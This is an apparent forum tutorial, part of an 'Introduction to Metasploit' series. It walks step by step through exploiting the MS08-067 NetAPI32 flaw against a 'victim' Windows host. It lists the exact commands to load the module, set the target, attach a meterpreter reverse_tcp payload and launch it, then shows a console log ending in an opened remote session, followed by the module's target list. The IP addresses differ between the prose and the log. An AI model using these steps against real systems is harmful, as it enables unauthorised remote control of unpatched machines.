INTRODUCTION TO METASPLOIT PART-4 >>RELATIVE PATH STACK CORRUPTION

It exploits a parsing flaw in NetAPI32.dll through the Server Service. This is an old, but still amazingly useful exploit. It can target Windows XP SP2 and Windows XP SP3. It has auto detect target option, so you don't have to worry about that.

Let's try and use it.

Type:

PHP Code:

use windows/smb/ms08_067_netapi 

Let's see what options we need to set by doing:

Code:

Show Options

We need to set RHost (Remote host). Port is by default set to 445(RPort).
So let's input the IP of our victim:

PHP Code:

set rhost 192.167.2.105 

Now we need to choose payload. We will use meterpreter payload because it's one of the best payloads out there.

PHP Code:

Set payload windows/meterpreter/reverse_tcp 

Type show options again. Now it says we need to set lport and lhost. Lhost is your IP address and Lport can be whatever port you want (It mustn't be used already). I will use 4444.

PHP Code:

Set lhost 192.168.2.100
Set lport 4444 

Now all we need to do is type exploit and new meterpreter session will open.

PHP Code:

exploit 

Example:

Code:

II    dTb.dTb  _.---._
  II  4'  v  'B   .'"".'/|`.""'.
  II  6.  .P  :  .' / |  `.  :
  II  'T;. .;P'  '.'  /  |    `.'
  II  'T; ;P'    `. /   |    .'
II  'YvP'  `-.__|__.-'

I love shells --egypt

  =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 796 exploits - 435 auxiliary - 131 post
+ -- --=[ 242 payloads - 27 encoders - 8 nops
  =[ svn r14663 updated today (2012.01.31)

msf > use windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set payload
windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
smsf  exploit(ms08_067_netapi) > set lhost 192.168.2.103
lhost => 192.168.2.103
msf  exploit(ms08_067_netapi) > set lport 4444
lport => 4444
msf  exploit(ms08_067_netapi) > set rhost 192.168.2.105
rhost => 192.168.2.105
msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on port 4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:Unknown
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.2.103:4444 -> 192.168.2.105:445)

More information:

Code:

Description:
  This module exploits a parsing flaw in the path canonicalization
  code of NetAPI32.dll through the Server Service. This module is
  capable of bypassing NX on some operating systems and service packs.
  The correct target must be used to prevent the Server Service (along
  with a dozen others in the same process) from crashing. Windows XP
  targets seem to handle multiple successful exploitation events, but
  2003 targets will often crash or hang on subsequent attempts. This
  is just the first version of this module, full support for NX bypass
  on 2003, along with other platforms, is still in development.

  Name: Microsoft Server Service Relative Path Stack Corruption
  Module: exploit/windows/smb/ms08_067_netapi
    Version: 14319
   Platform: Windows
Privileged: Yes
    License: Metasploit Framework License (BSD)
  Rank: Great

Provided by:
  hdm <hdm@metasploit.com>
  Brett Moore <brett.moore@insomniasec.com>
  staylor
  jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  10  Windows 2003 SP1 Japanese (NO NX)
  11  Windows 2003 SP2 English (NO NX)
  12  Windows 2003 SP2 English (NX)
  13  Windows 2003 SP2 German (NO NX)
  14  Windows 2003 SP2 German (NX)
  15  Windows XP SP2 Arabic (NX)
  16  Windows XP SP2 Chinese - Traditional / Taiwan (NX)
  17  Windows XP SP2 Chinese - Simplified (NX)
  18  Windows XP SP2 Chinese - Traditional (NX)
  19  Windows XP SP2 Czech (NX)
  2   Windows XP SP0/SP1 Universal
  20  Windows XP SP2 Danish (NX)
  21  Windows XP SP2 German (NX)
  22  Windows XP SP2 Greek (NX)
  23  Windows XP SP2 Spanish (NX)
  24  Windows XP SP2 Finnish (NX)
  25  Windows XP SP2 French (NX)
  26  Windows XP SP2 Hebrew (NX)
  27  Windows XP SP2 Hungarian (NX)
  28  Windows XP SP2 Italian (NX)
  29  Windows XP SP2 Japanese (NX)
  3   Windows XP SP2 English (AlwaysOn NX)
  30  Windows XP SP2 Korean (NX)
  31  Windows XP SP2 Dutch (NX)
  32  Windows XP SP2 Norwegian (NX)
  33  Windows XP SP2 Polish (NX)
  34  Windows XP SP2 Portuguese - Brazilian (NX)
  35  Windows XP SP2 Portuguese (NX)
  36  Windows XP SP2 Russian (NX)
  37  Windows XP SP2 Swedish (NX)
  38  Windows XP SP2 Turkish (NX)
  39  Windows XP SP3 Arabic (NX)
  4   Windows XP SP2 English (NX)
  40  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
  41  Windows XP SP3 Chinese - Simplified (NX)
  42  Windows XP SP3 Chinese - Traditional (NX)
  43  Windows XP SP3 Czech (NX)
  44  Windows XP SP3 Danish (NX)
  45  Windows XP SP3 German (NX)
  46  Windows XP SP3 Greek (NX)
  47  Windows XP SP3 Spanish (NX)
  48  Windows XP SP3 Finnish (NX)
  49  Windows XP SP3 French (NX)
  5   Windows XP SP3 English (AlwaysOn NX)
  50  Windows XP SP3 Hebrew (NX)
  51  Windows XP SP3 Hungarian (NX)
  52  Windows XP SP3 Italian (NX)
  53  Windows XP SP3 Japanese (NX)
  54  Windows XP SP3 Korean (NX)
  55  Windows XP SP3 Dutch (NX)
  56  Windows XP SP3 Norwegian (NX)
  57  Windows XP SP3 Polish (NX)
  58  Windows XP SP3 Portuguese - Brazilian (NX)
  59  Windows XP SP3 Portuguese (NX)
  6   Windows XP SP3 English (NX)
  60  Windows XP SP3 Russian (NX)
  61  Windows XP SP3 Swedish (NX)
  62  Windows XP SP3 Turkish (NX)
  63  Windows 2003 SP2 Japanese (NO NX)
  7   Windows 2003 SP0 Universal
  8   Windows 2003 SP1 English (NO NX)
  9   Windows 2003 SP1 English (NX)

Basic options:
  Name  Current Setting  Required  Description
  ----  --  --  --
  RHOST  yes  The target address
  RPORT    445    yes  Set the SMB service port
  SMBPIPE  BROWSER    yes  The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 400
  Avoid: 8 characters